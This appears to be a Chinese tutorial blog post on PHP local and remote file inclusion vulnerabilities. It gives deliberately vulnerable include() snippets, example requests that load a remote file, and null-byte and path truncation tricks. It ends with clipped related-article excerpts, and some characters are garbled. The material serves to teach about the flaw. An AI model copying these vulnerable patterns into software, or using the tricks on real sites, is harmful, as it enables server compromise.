PHP檔案包含漏洞

2021-08-06 08:24:05 字數 1337 閱讀 1527

php的檔案包含可以直接執行包含檔案的**,包含的檔案格式是不受限制的。

檔案包含分為本地文字包含(local file include)和遠端檔案包含(remote file include)

檔案包含函式有:include(),include_once(),require()和require_once(), 它們之間的區別在於include()和include_once()在包含檔案時即使遇到錯誤,下面的**也會繼續執行;而require()和require_once()則會直接報錯退出程式。它們的寫法可以在括號裡面寫要包含的路徑,也可以直接用空格再跟路徑。

1.本地檔案包含是指只能包含本機檔案的包含漏洞,大多出現在模組載入,模板載入和cache呼叫的地方

payload:

<?php define("root",dirname(__file__).'/');

$mod=$_get['a'];  //載入模組

include(root.$mod.'.php');

請求1.php?a=2 , 其中2.php的內容為<?php phpinfo(); ?>

2.遠端文字包含是指可以包含遠端檔案的包含漏洞,遠端檔案包含需要設定allow_url_include=on

payload:

<?php include($_get['url']);?>

請求url引數傳入「http://remotehost/2.txt」, 其中2.txt的內容為<?php phpinfo();?>

檔案包含截斷:正常程式裡面包含的檔案**一般像include(basepath.$mod.'.php')或者include($mod.'.php'),如果不能寫入.php的字尾名的檔案,則需要截斷

1.利用%00截斷

payload:

<?php include $_get['a'].'.php'?>

請求1.php?a=2.txt%00, 其中2.txt的內容為<?php phpinfo();?>

注意:%00截斷受限於gpc開啟和addslashes等函式的過濾,且在5.3之後的版本不能用這個方法截斷

2.利用點句(.)和反斜槓(/)來截斷

payload:

<?php $str=' '; for($i=0;$i<=240;$i++)

$str='2.txt'.$str; include $str.'.php'; ?>

注意:這種方法不受gpc限制,不過在php5.3之後被修復

3.利用問號(?)偽截斷

payload:

<?php include $_get['a'].'.php'?>

請求1.php/a=2.txt?, 其中內容為<?php phpinfo();?>

PHP檔案包含漏洞總結

php檔案包含漏洞的產生原因是在通過php的函式引入檔案時,由於傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的 注入。最常見的就屬於本地檔案包含 local file inclusion 漏洞了。我們來看下面一段index.php 1 2 3 4 5 if...

PHP檔案包含漏洞總結

0x00 前言 php檔案包含漏洞的產生原因是在通過php的函式引入檔案時,由於傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的 注入。最常見的就屬於本地檔案包含 local file inclusion 漏洞了。我們來看下面一段index.php 純文字檢...

PHP檔案包含漏洞總結

php檔案包含漏洞的產生原因是在通過php的函式引入檔案時,由於傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的 注入。最常見的就屬於本地檔案包含 local file inclusion 漏洞了。我們來看下面一段index.php if get func ...